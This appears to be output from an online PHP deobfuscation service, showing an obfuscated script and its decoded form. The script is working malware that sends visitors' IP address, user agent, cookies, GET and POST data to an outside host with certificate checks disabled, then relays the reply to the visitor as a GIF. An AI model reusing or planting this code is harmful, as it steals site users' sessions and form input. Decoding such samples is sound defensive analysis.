Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto boRJO; boRJO: $ch = curl_init(); goto fB1wY; jUCyr: curl_setopt($ch, CURLOPT_PO..
Decoded Output download
<?php goto boRJO; boRJO: $ch = curl_init(); goto fB1wY; jUCyr: curl_setopt($ch, CURLOPT_POST, TRUE); goto HcxAz; IKqv7: curl_close($ch); goto bi3Dv; HcxAz:
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); goto b2dAn; N9o8z: $d = array("i" => serialize($_SERVER["REMOTE_ADDR"]),
"u" => serialize($_SERVER["HTTP_USER_AGENT"]), "h" =>
serialize($_SERVER["HTTP_HOST"]), "c" => serialize($_COOKIE), "g" => serialize($_GET), "p" => serialize($_POST)); goto
nLmfD; H36HP: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); goto N9o8z; bi3Dv: if (strpos($r, "GIF89") !== false) {
header("Content-Type: image/gif"); echo $r; exit;} goto cmXKz; b2dAn: curl_setopt($ch,
CURLOPT_SSL_VERIFYHOST, 0); goto H36HP; fB1wY: curl_setopt($ch, CURLOPT_URL,
"https://za-co-za.co.za/index.php"); goto jUCyr; LTTGw: $r =
curl_exec($ch); goto IKqv7; nLmfD: curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($d)); goto LTTGw; cmXKz: ?>Did this file decode correctly?
Original Code
<?php goto boRJO; boRJO: $ch = curl_init(); goto fB1wY; jUCyr: curl_setopt($ch, CURLOPT_POST, TRUE); goto HcxAz; IKqv7: curl_close($ch); goto bi3Dv; HcxAz:
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); goto b2dAn; N9o8z: $d = array("\151" => serialize($_SERVER["\122\x45\115\117\x54\x45\x5f\x41\x44\x44\122"]),
"\x75" => serialize($_SERVER["\x48\124\124\120\137\x55\123\105\122\x5f\x41\107\105\116\124"]), "\x68" =>
serialize($_SERVER["\110\124\x54\x50\137\110\117\123\x54"]), "\x63" => serialize($_COOKIE), "\147" => serialize($_GET), "\160" => serialize($_POST)); goto
nLmfD; H36HP: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); goto N9o8z; bi3Dv: if (strpos($r, "\x47\111\106\70\71") !== false) {
header("\x43\157\x6e\x74\145\x6e\164\55\124\x79\160\x65\x3a\x20\151\x6d\141\x67\x65\57\x67\x69\146"); echo $r; exit;} goto cmXKz; b2dAn: curl_setopt($ch,
CURLOPT_SSL_VERIFYHOST, 0); goto H36HP; fB1wY: curl_setopt($ch, CURLOPT_URL,
"\x68\164\x74\160\x73\72\x2f\57\x7a\141\x2d\143\x6f\55\x7a\141\x2e\143\x6f\56\x7a\141\x2f\151\x6e\144\x65\170\x2e\160\x68\160"); goto jUCyr; LTTGw: $r =
curl_exec($ch); goto IKqv7; nLmfD: curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($d)); goto LTTGw; cmXKz: ?>Function Calls
| None |
Stats
| MD5 | 1b5bb942e8139b2d3c3924facc62bd6f |
| Eval Count | 0 |
| Decode Time | 48 ms |